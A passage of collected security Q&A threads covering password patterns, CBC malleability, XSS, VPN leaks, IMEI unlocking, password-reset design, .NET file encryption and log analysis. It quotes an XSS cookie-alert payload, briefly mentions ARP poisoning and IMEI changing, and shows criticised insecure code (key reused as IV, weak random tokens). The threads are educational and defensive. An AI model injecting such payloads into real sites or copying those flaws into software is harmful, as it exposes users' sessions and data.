Capability - Vertical scaling has limits; there may be no such thing as a 50x box, but ten 5x boxes is achievable.  Memory only comes in sticks so big, and you can only plug so many of them into a motherboard...
Path - If you have a vertical solution, you're generally limited to one datacenter and at most a small handful of networks coming in.  If you have a horizontal solution, and can spread across multiple sites, then you greatly increase the carrier redundancy available to you.
Robustness - by definition, if you designed your app to be horizontal, you probably designed it to cope with one or more component nodes becoming unavailable.  Once you've got that, then the loss of subsets of your horizontally spread architecture are survivable.


How secure are "pattern" passwords? I was watching a TED Talk about password security recently which covers quite a few different types of passwords and compares how secure they are and how easy they can be remembered.

One type of password that wasn't mentioned, however, is what I call "pattern passwords". Those are passwords like "vbfhrudjxm" or "cde3$RFVbgt5" which follow a pattern on the keyboard:

My naive assumption is that even though their entropy is clearly lower than that of true random passwords of the same length they should have a comparably strength against dictionary and brute force attacks while at the same time they are much easier to remember and type. Is this assumption correct?

One disadvantage is of course that if you remember the pattern rather than the actual characters you might run into problems if you encounter a keyboard with another layout (especially with non-alphanumeric characters) but that can be a problem with other types of passwords too.

This question about pattern lock on touch devices is related but those offer a lot less possible combinations and are usually shorter and this question also talks about "pattern based" passwords but in the sense of a pattern in the structure of the password rather than a pattern on the input device.

Some wordlists such as rockyou have these sequences in them, so it won't be that safe against a dictionary attack; since dictionary attacks often don't just include normal English words anymore.

Furthermore some tools (autocrack, keywalker, ...) exist that specifically test for these, and as Chriss Murray pointed out, it lowers your entropy.


Anti virus vs Anti malware? What is the difference in anti malware like malwarebytes premium and an anti virus? Do I need both or would malwarebytes be enough?

TL;DR:
There isn't really a difference between "anti malware" and "anti virus". These are marketing terms used by corporations to sell a product. Virus and malware are used synonymously most of the time.

There are already some posts on the topic of malware nomenclature. How does this effect today's AV (anti virus) software? Not in the slightest.
All of the products that are somewhat sophisticated come in different flavours, which typically involves different licensing types and mechanisms to import signatures. All of these products detect malware in two ways: 1. based on signatures and 2. different kinds of algorithms that look fancy to the untrained eye. This includes: machine learning algorithms, bayesian classification based approaches, heuristic analysis, threat emulation, cloud delivered protection and so forth.
Signatures have  been used to detect viruses for ages and - in my estimate - make up for the biggest chunk of detected viruses in the wild.[citation needed]
So when $PRODUCT calls itself something other than an "anti virus" but does all the things, that an anti virus software does, it's probably still an anti virus software. See also here.


Why is authentication impossible with CBC mode? Suppose I have a protocol where fixed-length messages (1280 bytes, no padding) are encrypted with AES in CBC mode. I want to put some data in the message body to verify that the message is authentic. From Wikipedia,

  Block ciphers in the cipher block chaining mode of operation, for example, are partly malleable: flipping a bit in a ciphertext block will completely mangle the plaintext it decrypts to, but will result in the same bit being flipped in the plaintext of the next block. This allows an attacker to 'sacrifice' one block of plaintext in order to change some data in the next one, possibly managing to maliciously alter the message.

But how would this defeat any complicated scheme that one could come up? Suppose that before encryption, I set the last byte in each block to be the first byte of an SHA256 hash of all previous bytes in the message. So if you change the bits in one block to try and alter the next block, the hash for the current block isn't going to work out anymore. I suppose the best attack would be to change data in the final block and hope that the first byte of that hash works out the same (1/256 chance). What am I missing?

You are missing that the Wikipedia article only describes plain CBC. What you are instead proposing is some kind of MAC in addition to CBC. Properly implemented CBC+MAC is actually resistent against modification of the plaintext  and it also used in practice, for example in TLS ciphers like TLS_RSA_WITH_AES_128_CBC_SHA (AES with a MAC using SHA-1).

But see Should we MAC-then-encrypt or encrypt-then-MAC? on how to best combine encryption and MAC and Padding oracles and the decline of CBC-mode cipher suites for other problems with CBC+MAC.


Is Temporary XSS a Problem? I use a site on a regular basis so I wanted to make sure it was secure. One of the things I checked was that when I changed my first name to  <img src="http://blah.blah/blah/blah.notanextension" onerror=alert(document.cookie);>Henry that it didn't give me the alert with all of my cookies (I had already determined that they stripped <script> tags). Well it did, however, after going to the home page and then re-visiting my profile, the XSS had been removed from my name. I verified that the filter that did this is applied recursively and works pretty well as far as I could tell. The site uses CSRF tokens, so someone could not insert XSS via CSRF. Is this a security problem even though the input is sanitized whenever I re-visit the page?

Yes it could be a problem. It depends on the point that the first name field is sanitized. My first impressions that it was a DOM update that caused the alert to be shown (see DOM based XSS). However, as you said you could refresh the page this is unlikely unless a hash is added to the address bar (e.g. www.example.com/page.aspx#name=foo).

Maybe a script runs to sanitize the value when the home page is displayed (which would be odd). There is also the possibility that certain values can bypass the sanitization and exploit the vulnerability. Either of these things mean that the XSS payload may be executed when an admin user views the list of users.

There is also the possibility that Broken Access Controls could allow another user to update the first name of another user to exploit this XSS flaw when they log in.

It all depends on when the sanitisation executes, so more investigation would be needed on the site to determine this.


Prove Alice Had Sent the Message Before Alice just sent a message to Bob, but prior to that she had already sent the very same message. How can Bob prove that?

Well, as far as I see, I cannot find a 'perfect' solution. However, I have some ideas, which are listed below.
The first is the simple idea that we can use time as part of the signature. This can also be useful for preventing message replay attacks (MRA). If time does not match, then this signature will be seen as illegal.
The second also comes from normal methods for MRA prevention, that we may use some salt during communication. However, one of the shortcomings is that this method would require interaction between Alice and Bob.
And the last idea is not that widely used, however, still something old. Bob could keep a counter, and add the counter with the key for decryption (something like hash(saved key+counter value)). And every time he decrypts an encrypted message successfully, he increases the counter. This technique actually comes from some old idea of key generation I once read from a book (and after counter reaches a limit, go have a face-to-face talk (date) and refresh the key).


How to confirm the last entry of a linked hash list We use a linked hash list for data integrity.
Content is hashed (HMAC-SHA256) and stored in a block that itself is hashed and referenced in the next block:
Simplified example:
...
{
   id: "block1",
   cId: "A",
   cHash: "hashOfA",
   pId: "block0",
   pHash: "hashOfBlock0",
   t: time
},
{
   id: block2,
   cId: "B",
   cHash: "hashOfB",
   pId: "block1",
   pHash: "hashOfBlock1",
   t: time
},
...

This enables us to detect changes in the content. The only problem we have is, that we cannot detect a whole replacement of the latest block that was added to the list. As this block has no following block that confirms it.
How can we confirm that the last block is not altered/replaced?
We thought about a top hash of the complete hash list securely stored somewhere else and is updated every time a new block is created.
But how could we confirm the top hash is not altered?
What would be a secure storage for this hash? Public?
Are there some other solutions?

You need to save a MAC (also named "tag" sometimes) of the last entry at a safe place. What safe means here depends on your threat model, but it should at least resit to the following attack:
Be warned that if the attacker can read this MAC at any point in time and has write access to it, it can restore the chain to a previous version by overwriting the MAC. For this the attacker does not need to know the secret authentication key used to compute the MAC.
To prevent a rollback of your chain, you must ensure that the MAC cannot be rolled back without noticing. This might be done for example by using a web service to store it and keep its history.
It was suggested to you to insert this MAC in the first node of the chain. If this MAC were part of the hashed data of the first node, this would introduce an unsolvable cycle of hashes. Thus, the MAC of the last node must be saved outside the structure of the hashed chain.
As a side note, this MAC can be based on a hash function like HMAC-SHA256, or it can be a fast (and still secure) MAC like SipHash. Other secure algorithms exist, but just ensure that the produced tag is at least 128 bits long and that the secret key is generated by a CSPRNG and of at least 128 bits.


Can an identity provider impersonate me? (Can Facebook post Stack Overflow questions under my name?) There are multiple mechanisms (some now defunct) that allow me to access service A (the Relying Party / RP) using a token granted by service B (the Identity Provider / IdP). Typically these replace a username-and-password login. Examples of IdP protocols include:

OpenID 2.0
OpenID Connect
IndieAuth
Mozilla Persona
Portier
...and obviously Google Sign-In and Facebook Login

What stops the IdP from gaining access to my account on the RP? Surely a bad actor with sysadmin privileges at the IdP can:

Make a login attempt at service A
...initiating a token request from A to B
Generate a token at service B (without needing my credentials)
...return the valid response to A
Now access my account at A

I'm asking a general question, but as a concrete example, what stops a bad Facebook admin from posting Stack Exchange questions under my name?

Rough sketch:

(Sketch adapted from https://developers.google.com/identity/protocols/OAuth2 but note that the referenced protocol is just an example.)

Yes, they can.

Simple answer: You authenticate in some way to your identity provider, usually via username and password. The bad admin can store the transmitted credentials and just re-use them. This attack does not depend on how the backend is implemented.

In general your password for the identity provider isn't used for authentication to third-party services at all, which means that your identity provider actually has your login keys (and you do not have them at all).

You could think of schemes which incorporate your password into the authentication process without storing it unencrypted afterwards, but in practice I do not know any such scheme.


Security feature: Preventing javascript from closing the window The latest versions of most web browsers have implemented a feature to prevent javascript from closing current window or tab.

Firefox window.close() method

  This method is only allowed to be called for windows that were opened by a script using the window.open() method. If the window was not opened by a script, the following error appears in the JavaScript Console: Scripts may not close windows that were not opened by script.

Same thing applies to Internet Explorer and Chrome but I couldn't find an official document for them about this feature to link here.

My question is "Why do browsers prevent javascript from closing current window unless that window was opened via a script itself? What types of attacks or abuse cases is this feature defending against?"

The reason this limitation is enforced, is that the SOP policy does not apply to window.close(), instead, you can actually close any window. It would be impossible to apply the SOP policy to window.close() as normally, each window in a browser process is isolated from each other to prevent certain cross-boundary attacks, thus even your "own windows" would be in a different SOP scope.

A common process where this are used, is in a payment process, where the webshop site popup a window for payment, and then when the webshop site detects that payment is complete, the window is closed.

To prevent abuse of this feature to for example close down other site's windows, the limitation is set that only windows opened by a script may be closed.

In the circumstances you want to log out or move away a user from the page, the normal action is to enforce non-cacheability and then use window.location.href instead to move the user to a "logged out" page.


Prevent location being exposed through VPN I use the Astrill VPN service to access websites that my country has blocked. There is nothing sinister going on here. Sites like google and youtube have all been blocked. This VPN service offers about 20 servers within the U.S. which I often switch between depending on their speed. I'm not advertising here, I want to point out that this problem is specific to certain servers.

Recently I have noticed that google will always redirect me away from .com to a certain country's TLD. As I mentioned, this is on about half of the servers offered. Somehow google is able to determine my location, even though I am behind a VPN. Note: This is not a problem of being exposed when the VPN connection drops.

Checking my IP on one of the many 'what's my IP' sites, does not reveal my real location. Checking my location using HTML5's geo location API does, though my browser(s) will always ask for confirmation first. Even then the location is a city on the other side of the country, which happens to be the same as what google reports.

Now, I use a desktop PC (no wireless) Ubuntu 14.04 with both chrome and firefox. I have disabled the geo location service in both browsers. I have even tried disabling Javascript thinking they may be using AJAX to get at my IP. Neither worked. And of course I cleared all cookies before retrying.

I contacted Astrill about this problem (their customer support is something to be desired) and their answer was

  Your location is being given away by your browser. Not the VPN. You need to disable WebRTC.

Well, that didn't work either. So, now I'm trying to figure out just how google is able to do this. Looking at the HTTP headers, I see that GET www.google.com returns a "302 Found" response with the 'Location' header pointing to the country specific domain. I don't see any requests containing my IP, though I know my IP is standard in all requests. To confirm this is not a problem with my browser, curl get http://www.google.com returns the same '302 Found' response.

Can anybody tell me how google does this? But, most importantly, tell me how my VPN servers' may be leaking this information?

Update:
According to ipleak.net Nothing is being exposed.

Update:
Latest response from "technical support"

  Use www.google.com/ncr

Maybe your IP is exposed by RTC/DNS leaks. You can check ALL the information a website can get about you on http://ipleak.net/ . You should check this website every time before using the VPN.

Besides, it might be possible that you've visited a website before without VPN. This website could have saved a cookie/localStorage variable on your PC and is possible to identify you later when you're using your VPN.

Also, as you can see on ipleak.net your browser usually sends your language/locale information which may reveal something about your location. Websites usually don't use this information to find a location though.


Can my isp see the (non-https) websites I visit if I use browser VPN extension? Can my isp see the (non-https) websites I visit if I use browser VPN extension?

Chrome notices non-secure connection for them but I use browser based VPN extension and different country (VPN server).

If you are actually connected to a VPN (just using an extension may not be enough, you may need to activate it or log into the VPN server or something as well) then no, your ISP cannot see the sites you visit, even non-https sites, if you use a good VPN. Apparently a surprisingly large number of VPN services out there rely on your local configuration to look up websites through DNS queries, usually to your ISP. So if you don't choose your VPN carefully then you could easily leak information about what domains you visit, even while using a VPN.

Either way, Chrome is not your ISP. Chrome is your browser. Chrome knows every site you visit, and especially if you are logged into the browser, so does Google.


Recovering data on unallocated space from FAT16 USB drive I'm actually trying to make my hand around forensic and information security as a whole. To do this, I'm trying to make a lot of CTFs. The last one I got to do is puzzling me, 1st because I have no experience with this and second, because I don't know how to manage data recovery.

To make things short: I got a USB dump (FAT16) which at first it looks about 1 Gb in size. I was able to recover some files from it already using autopsy and FTK Imager.

When I read the data contained in the usb drive with these softwares, I can see that there is about 900 Mb of ''unallocated space'' and when I try to look at it with the hex heditor, all bits are 0.
I have 2 questions :

Is this normal that those bits are all 0 on unallocated space?
Is there anyway to recover the data that was there before it became unallocated?

I think this space could contain the flag I Ineed, but I can't seem to recover it.
I've tried few things : Mount the drive on my computer with FTK and use tools to try to recover it, but none worked.
I also tried to get a hint if there was lost data in all those 0's but I still hadn't had any luck.

From the recovered data in autopsy I have following files:

$FAT1
$FAT2
$MBR
$Unalloc --- this is the space that is of interest to me
.Folder
File1
File2

When I open $unalloc, I have a file in it which have a size, but all bits are set to 0 in the hexedit.

Unallocated space of all zeroes is common in a new or cleaned drive. A used drive will generally have left over fragments and deleted files.

Zeroes are zeroes, there is no recovering a previous value. When people speak of recovering files, they are referring to reconstructing actual data from the unallocated space. You apparently don't have any data to recover.

Concentrate your efforts on the data you do have.


Can we trust encrpytion when the random number generator is compromised? How can we trust our encryption methods if our random number generators are to be [assumed] compromised? Does encryption also depend on the random number generators of our hardware?

I forgot to also say, if any of this is true, then how are we able to trust the companies that hold our data "securely". If the NSA has all of these backdoors into systems by the companies being forced to comply with the requests or them handing them over, is there no way to fix these vulnerabilities?

Allow me to quote Edward Snowden, Thomas Drake, and Bruce Schneier regarding the assumption:

  We should [assume] that everything [that all encryption] is compromised by the NSA

That is a pretty powerful statement coming from three Security Experts, which I strongly believe that we can trust their opinion.

Can we trust encryption when the random number generator is compromised?

No.  For example, if you are doing AES-128 and your flawed pseudo random number generator creates a 128-bit key, where the key due to flawed random number generation can only be one of 2^40 (10^12 ) options (that are well distributed and appear random), it would be possible for a governmental attacker to simply try all 2^40 options to try brute-forcing your AES-128 key.  Many more attacks of this sort are described on wikipedia.

I don't think its fair to assume that the NSA has compromised encryption by simply compromising all random number generators.  It's probably a multi-faceted approach that ranges from compromising hardware, software (both open source software by submitting new features with subtle flaws) and closed-source software (either develop it yourself, or pay someone off to alter the source code right before it ships), certificate authorities, standards, infiltrating and paying off organizations (like paying RSA Security $10 million to default to Dual EC DRBG with its "rather-obvious" ability to be backdoored).  Possibly even involves number theoretic advances like the ability to break easily factor prime numbers or solve discrete logs which would undermine RSA and ElGamal encryption.

Speculation

My guess is no on this number-theoretic front -- if the government could very easily break RSA moduli easily, then why did they have to shutdown lavabit when the founder refused to give away his private SSL key (versus let him continue to operate and decrypt the traffic anyway).  My personal guess is a lot of it tends to be nonsensical designs that allow programming "mistakes" that undermine security through side-channel attacks like Heartbleed, or software with deliberately introduced flaws (open-source with mistakes like heartbleed or closed-source through modifications secretly made), or hardware with major vulnerabilities in the design.  Yes, it sounds like a conspiracy theory, but to quote the NY Times reporting on leaked Snowden documents:

  The N.S.A.'s SIGINT Enabling Project is a $250 million-a-year program that works with Internet companies to weaken privacy by inserting back doors into encryption products.


What to do if you think you discovered a zero day vulnerability? (white hat style) Does anybody discovered a zero day vulnerability?

I know some black hat hackers sell that kind of info on deep web. But if you are a white hat...

Which steps to perform?
How to assure a CVE is released with your name? Who is in charge of this management?

Thank you.

There is An ISO dedicated to this subject https://www.iso.org/standard/45170.html

It is generally accepted to work with the vendor affected and give them time to resolve the issue within a reasonable time frame.  Google project zero takes the stance of 90 days to fix from initial disclosure to the vendor and full disclosure from that point.


Implementing password-reset in a web application by authtoken over email I think I have a basic understanding of security concerns, but I feel like if I don't know everything, I'm going to implement lousy solutions. Below is my current strategy; Have I overlooked obvious best practices?

I've read Can anyone provide references for implementing web application self password reset mechanisms properly? and think that I have the relevant parts covered.

Flow

An administrator triggers a password reset for a user in the system.
The system locks out the user from the system, generates a 40 characters random alphanumeric string as a authtoken, and stores this hashed in the database with SHA1, together with the encrypted username, the time is was created and the hash of the old password. If the user have any previous authentication tokens in the db, it deletes them.
The system sends a link to the email connected to the user having it's password triggered for resetting.
The user clicks the link, which is over https, and the system reads the authtoken.
The system hashes it again with SHA1, searches the database for it:

The authtoken does not match: Error page. Please contact admin
The authtoken was created more then 4 hours ago: Please contact admin
The authtoken is found and active: Goto 6

The client gets presented a dialogue to select a new password and posts the new password with the same authtoken (in a hidden field) back to the server.
The system checks again that the authToken exists, is active and that the password is not the same as the old one. If success, the system decrypts the username stored together with the authtoken, changes the password for this user to the new, unlocks the user, and removes the authToken from the database.
The system redirects the user to the login page.

So

The only agent triggering the reset process is an authenticated administrator: No problem with maliciously locked-out users. All communication between client and server is going over HTTPS, with the possible and uncontrollable exception of the user's email solution.

This is how the authToken is generated:

const string authtokenAlphabet =  abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVXYZ1234567890_-.";
const int authtokenSize = 40;
var authToken = string.Empty;

while (authToken.Length < authtokenSize)
    authToken += authtokenAlphabet[_random.Next(0, authtokenAlphabet.Length - 1)];

Although I use the Random class, which is discouraged due to less than optimal randomness, would this really be a problem considering that only an an authorized and authenticated administrator can trigger the reset?

In 1 Is this trigger protected from XSRF?
In 2 you're locking the user account for 4 hours? That's a DOS
In 6 you're using weak random generator. If someone discovers this he/she can generates authToeksn for anyone.
you never mentioned how are you encrypting usernames? Think about the ability of encrypting a username and injecting it into authToken This will lead to changing the password of that username in your system even if that username did not ask for new password to be set.
Also note that authToken is from client. The basic security rule is to never trust anything coming from client, so make sure you sanitize these tokens properly from sqli, slqi, etc.. This applies to the new-password as well!


Is there a pre-existing taxonomy of attackers? When building a security policy (and implementing it) you must know who you are defending against. I would like to use proper terms, if they're already defined. I'm imagining a list such as:

Passive attackers - Those who aren't interested in you specifically but might intercept your data (like the NSA if it doesn't have an interest in you)
Uninterested attackers - Those that aren't interested in you in particular, but are actively testing your defenses. I would classify automated SSH attacks and port scans in this category (looking for easy targets, etc).
Active, interested attackers - People actively trying to break your security to get inside the network. Pentesters or someone you pissed off in IRC.

That's all I have. Is it enough, or is there a level of finnese I've missed? Is there any group of attackers I've completely forgot about?

Check out Intel's Threat Agent Chart:

Page 8 -> https://communities.intel.com/servlet/JiveServlet/downloadBody/1151-102-1-1111/Threat%20Agent%20Library_07-2202w.pdf


How can I tell if a zip file uses the 7-Zip exploit? Let's say I have a "corrupted" zip file from a potentially suspicious source, and that at least one person has attempted to extract it. Conventional wisdom used to be that bad stuff™ didn't happen from unzipping a file, but could from interpreting the zipped files it contained. Clearly that isn't true for some versions of 7-Zip, one of which was used1 for the failed extraction.

How can I tell if this particular zip file is booby trapped?

I think it ought to be possible to edit the source of an old version of 7-Zip and write some error handling around the exploitable portions to alert you of a heap overflow and (if desired) dump the subsequent data into a raw file.

1 As I understand it, p7zip is the backend for Keka which hasn't been updated in years.

You cannot tell as an user because it's an exploit, not a virus.

CVE-2016-2335 is related to UDF file format interpretation, while CVE-2016-2334 is a heap overflow related to the handling of Zlib files.
Such things would not at all be easy to exploit. Note that most archivers at a point have such exploits (i.e. CVE-2016-2347 for LHA), but most of the times they are not that dangerous. Exceptions exist, of course, here's a really dangerous one from winrar.

The problem was immediately fixed though, so currently there is no such problem in the latest version.


Is IMEI like a hash that they crack? What is the procedure unlockers follow to get providers unlocking code using IMEI.

I know providers themselves offer to unlock phones which may make sense but how on earth people on sites like eBay offer service to provide unlock codes using IMEI.

Is IMEI like a hash that they crack ?

I used to work in a phone unlocking store in the UK, so my knowledge doesn't cover anything in the past 5 years or so, and it may be a little UK/euro-centric but I'll attempt to answer.

There are two major types of "unlocking". One is called a "carrier unlock", which allows the phone to be used on any carrier. A carrier lock is commonly used on contract phones, in order to ensure that you continue to use the device with that carrier if your contract ends. The other type is called "unbarring", which changes the IMEI of the phone so that it no longer matches one on the barred list. In the UK this is illegal, because barred phones are ones which have been reported stolen.

The IMEI is not a hash. It is a (usually) unique identifier for mobile devices which are GSM capable. When a phone is placed on the barred list, the carriers all get a copy of this list, and their towers will simply send back a "barred" rejection if a barred IMEI tries to register on the system. The hardware's support for programming the IMEI is variable, though many baseband implementations nowadays have a write lock which can't be undone once set (at least without serious trickery). The usual way in which people get around barred IMEIs is to take a non-barred donor board from another device with severe physical damage (e.g. smashed screen and case) but with an otherwise functioning mainboard. This is a legal grey area, because it can be construed as transplanting working peripheral parts from a barred phone onto an unbarred phone which was damaged. Some older phones can have their IMEI changed via programming, but that is flat out illegal. There may be ways to do this on modern devices, but I've never seen it in action.

If you're just talking about a carrier unlock, the answer is (sometimes; see comments) as simple as a firmware flash. With some phones you can do this simply by putting it into a debug mode (e.g. ADB mode on Android, DFU mode on iOS) and using freely available software to flash a stock carrier unlocked firmware onto the device. It's a five minute job. On other devices, particularly pre-smartphone where you're not running Android, iOS, but rather a custom OS for that particular phone or manufacturer, there's no USB flash support. In these cases people had to get hold of leaked schematic diagrams and build devices which could hook up to test points on the board and flash the firmware. When I worked in phone repair we had at least four different cables and devices for this purpose, each of which had a range of devices it could work on. They also used special software and the process could be quite involved, usually requiring at least two or three stages of flashing, but sometimes more; an extreme example is one of the LG phones which required you to flash a very old base firmware, then upgrade through each of the ten or so updates one by one.

The more legitimate way of performing a carrier unlock is via an NCK code. The NCK code algorithm is entirely proprietary, and where it is implemented varies entirely on the device and the carrier. Usually the NCK validation algorithm is implemented in the phone's firmware, but this doesn't necessarily mean that knowing the validation algorithm does you any good. From what I've read, modern iOS devices implement NCK using something analogous to public key cryptography, with the carrier unlock data sent via SMS.

In the olden days (we're talking Nokia 3210 era) the NCK algorithm was known and anyone could unlock them, and in some cases there were even key sequences (like *#06#) which could be used to do a carrier unlock. In fact, going back to the mid 90s, there were even codes which stopped the "SIM clock" (not sure if that's the legit term) to make your calls entirely free, aside from the connection charge. This was, of course, fraud, but this didn't stop a lot of people from doing it.


HMAC with or without data encryption? I'm in the process of developing a system that periodically transmits a small amount of data (16/18 bytes), where the only part that will change is a 4 byte counter that will increment for each transmission.
The data itself is not sensitive, so encryption it's not mandatory, but the receiver must validate the data using a MAC algorithm, HMAC-SHA was my choice.
Given the fact that, for successive transmissions, only few bits of the data payload will change (the counter increment), is it safe to use HMAC-SHA without data encryption or this kind of implementation could lead an attacker to generate false MACs?

For establishing the message integrity, yes, HMAC-SHA should be fine.

The one concern you might have is in the case of a man-in-the-middle attack where the message might be intercepted, the counter changed, the HMAC regenerated and the modified message passed on to the original recipient. In this case you could look at using a public key algorithm to sign the HMAC hash(effectively a digital signature) to authenticate the sender.

Edit: not a concern unless your keys get into the wrong hands.


blockchain.info exploit - Random number flaw "The problem that led to the vulnerability was reportedly wallets
  generated with previously used 'R-values' in formulas that generate
  random numbers, meaning a hacker could use the public address to
  calculate its private keys. If R-values are unique, this should be
  impossible." - CoinDesk.

https://github.com/blockchain/My-Wallet/commit/98d5a7ca59ef04d06ac6aee468634b12975a0f5c
reference: http://www.coindesk.com/hacker-returns-225-btc-taken-blockchain-wallets/

  "For those interested. The bug was caused by missing line 29 and not
  initialising rng_pptr to 0. This commit was force pushed over." - ZooTreeves.

wouldn't rng_pptr be some random number if it wasn't initialized? Why would it be exploitable then?

In many programming languages, the value of an uninitialized value is undefined but not random. When uninitialized memory would be an acceptable source of randomness, we wouldn't need actual random number generators, as we could just use uninitialized memory for that purpose.

Usually uninitialized memory gets the value which was previously written to that memory location the last time it was allocated. While it is hard to predict for the programmer what could be there, depending on how the program works and how the compiler interpreted it, it is possible that an uninitialized variable always gets the same value with every run of the program. It is also possible that the value always depends on the value of some seemingly unrelated variable. And even when neither is the case, some values are simply much more common in memory than others.


s/mime edit an existing certificate We are using an encryption appliance that is capable of creating S/MIME certificates for internal users. The appliance is synchronizing with AD to get the user. When the certificate is created it will contain all users smtp mail addresses configured on Exchange for this particular user.
Later e-mail addresses do NOT appear in certificate
After the certificate is created and we add another mail address for the same user we can see that the mail address is added as a property for the user account on the appliance but the certificate is not changed. I was thinking maybe it's by design that it's not possible to modify an existing S/MIME certificate (tried to find something in RFC's but without luck).
Anyone ?
I think it's the value that is controlling it
X509v3 Subject Alternative Name:
    email:test_new@example.de, email:testnew@example.de,

You cannot change the certificate but you can revoke it and issue a new one; or, keep the old one and let it expire on its own while issuing a new certificate for future email messages. The issue with revoking a certificate would be errors occurring if a mail client checks for revocation. To avoid this you can just leave the early certificate as valid and issue a new one as well. Any new email messages would be signed with the new certificate containing all of the email addresses.


Encrypting files in .NET? I am in a situation where I would like to encrypt audio and text files for an application I am working on.  I did some looking around and from what I have seen the Rijndal encryption algorithm would work well for this.  I found an implementation that uses .NET's RijndaelManaged class here.

In my site, I will be accepting audio files from customers and generating text files from them.  I would like to encrypt both of these files while they are on my servers, this way if a malicious user is able to access the file system they will not be able to access the contents of the files.

From what I understand, it is very easy to screw up encryption, so I was hoping to get some opinions on whether the encryption example that I linked to is an effective way of encrypting files?  Are there any potential weaknesses in this example?  If so, suggestions on how to make this example more secure?

The encryption isn't your problem as most C# encryption examples will do the right thing with the CryptoStream class. But after quick look at the CodeProject article that you linked, I can say with certainty that you had better not use the code as presented. I will list the problems in the order they appear in the code.

private void EncryptFile(string inputFile, string outputFile)
The encryption method takes a path name. That means that the files will be on your file system in an unencrypted vulnerable form until it is encrypted by this method and deleted. It should be encrypted in server memory as it is being pulled through the connection before touching any storage device!
string password = @"myKey123"; // Your Key Here
UnicodeEncoding UE = new UnicodeEncoding();
byte[] key = UE.GetBytes(password);
What the hell? The password should never be used directly from the raw string! It should be hashed with something secure!
CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateEncryptor(key, key), CryptoStreamMode.Write);
Why is the initialization vector the same as the key? There is a method for that: RijndaelManaged.GenerateIV();
catch { MessageBox.Show("Encryption failed!", "Error"); }
If you are running that on a server without a user interface, that's going to cause problems. But the bigger problem is that this catch block isn't specific enough to determine how to handle the problem! See Best practices for exception management in Java or C#.

That aside, the other potential weakness is how you generate your keys, where you keep them, and how access to the keys are controlled.

In your case, who keeps the keys to the ciphertext: you or the customer or both? If you have the keys too, you will need to figure out how an attacker that has broken into your server and gotten your ciphertext will not also have your keys.

Your best bet is to store the encrypted data on the server with the encrypted key. The key itself should be encrypted using the user's credentials. That way, the server can only decrypt the data and send it to the user when the user logs in and decrypts the key with the password and the server can encrypt and decrypt the data with the decrypted key until the user logs off, at which point the key should be deleted from memory. If you implemented this system and your data was stolen, the attacker would have a set of encrypted keys (which are useless until decrypted with the customers' password) and blobs of encrypted data (which are also useless without the decryption keys).


How can Antivirus differentiate between a Trojan and a normal remote desktop application software? RAT (Remote Access Tool, e.g. Sub7) are considered malicious by Antivirus software. How can it distinguish between such patches and a client application for commercial  software like NetSupport School?!

Despite outrageous marketing claims to the contrary, antivirus software is not smart. Antivirus does not recognize "types" of software, as in "mmh... this looks like a tool for RAT". There are strong theoretical reasons why this sort of detection is, in all generality, impossible to achieve, and correspondingly very hard to do in practice.

What antivirus does is to look up the software they see (which is, ultimately, a sequence of bytes) in a big database of "known evil software". The antivirus vendor works hard, every day, to include in that database malware which has been observed in the wild -- i.e. most malware you are likely to encounter, but not Net support school software, which the human antivirus vendor are deemed "not evil".


What does a switch do against a packet sniffing attack? I have heard that using switches in my network helps prevent against a packet sniffing attack but how does it help prevent the attack?

By their function, a switch will only forward packets to the port where the destination computer (identified by it's MAC address) is. For this reason, they are said to mitigate sniffing attack.

However, switches are not security devices but network devices. In order to know where a specific computer is, they have to learn where they are. For this, they read the MAC address of computer in the different packets that goes through them. When possible they will assign MAC to a specific port and continue to forward traffic related to this MAC to this specific port only. Due to the protocol, you can take advantage of this by performing ARP poisoning, confusing the switch which ultimately will continue to operate as a simple hub, forwarding all traffic to all ports. With this attack, one can still perform sniffing.


Why is password hashing considered so important? After reading this article, I can see the benefits of password hashing as a second layer of defence, in the event of an intruder gaining access to a password database. What I still don't understand is this:

Isn't password hashing only important if the system is weak enough to give an intruder access to the password database? If so, then why is such an emphasis put on building secure password databases, instead of secure systems that would prevent unauthorized access to important user information? How is it that hashed password databases are so often stolen?

If so, then why is such an emphasis put on building secure password databases, instead of secure systems that would prevent unauthorized access to important user information?

Because this is a really difficult thing to do. There is no way to guarantee that your system is 100% hack-proof. In fact, if you make such a claim on Reddit your site will probably be compromised within an hour.

There is a commonly used term in security called Defence-in-depth. A compromised password database does not only affect your application. Most people will use the same username and password combination for multiple websites. This makes it trivial for an attacker that has compromised a single password database to gain access to multiple services that a user uses. This is why you often see recommendations by websites that have been compromised for the user's to change their passwords on all their accounts.

Even if you only consider your application to be important, there are many things an attacker can do if he has the plaintext passwords of your users. It is difficult for an attacker to directly modify database values without detection. However, with a compromised plaintext password, he can simply log into a user account and make the changes. This is very difficult to detect.


Visitors logs show \x80w\x01\x03\x01 the HNAP1 Can anyone tell me what this means? I'm on Bluehost with a shared server.

[ip]71.63.199.72 [url]HNAP1 [size] 134 [status] 401 [method]GET [protocol] HTTP/1.1 [referring url] My server address

[ip]71.63.199.72 [url]401 [size] 0 [status] 0 [method]\x80w\x01\x03\x01 [protocol] 162 [referring url] none

[ip]141.212.121.10 [url]404 [size] 0 [status] 0 [method]\x16\x03\x01 [protocol] 406 [referring url] none

A hacker has been making my life hell. Any help would be appreciated. How do I stop this? I had to password protect directories but I need to take that off and make sure these hacker's requests are not honored. How do I learn about these request?

Also I have CloudFlare but this guy seems to bypass them. I have no threats in my CloudFlare, but the stuff above shows in my site's 'latest visitor logs'. I'm sure, because of my primitive knowledge, there's something I'm missing.

Any advice appreciated.

The following is part of SSL's initial handshake. If this was a legitimate request, it is likely they were trying to connect with HTTPS to an HTTP server.

\x80w\x01\x03\x01

The HNAP is Home Network Administration Protocol, as outlined in Terry Chia's answer.

Unless you have reason to believe this person has gained unauthorized access, these things are quite normal to see in logfiles. There are thousands of systems throwing bogus requests at the wall and seeing what sticks. I am not telling you to not worry, but that it is common and not a sole indicator of an intrusion.


Can 2FA keys be duplicated? I want to order a 2FA key (like yubikey) online and I want to know if someone could make a duplicate of whatever key I order during shipping.
I don't want to discuss if someone could access my package. I want to know if someone is able to access my package during shipping or even after I get it, could they make a duplicate of my key?

And if they can, and they also have my password, that means they can also access my account (Gmail) after I setup the 2FA authentication right? What about locking me out of my account?

And can you tell me what key would be compatible with multiple online accounts and preferably offline use on Linux (Ubuntu) as well?

When you setup a new hardware token, you're usually presented with one of two options: you can either let the token generate a new key or you can program it with a key you generated outside the token.

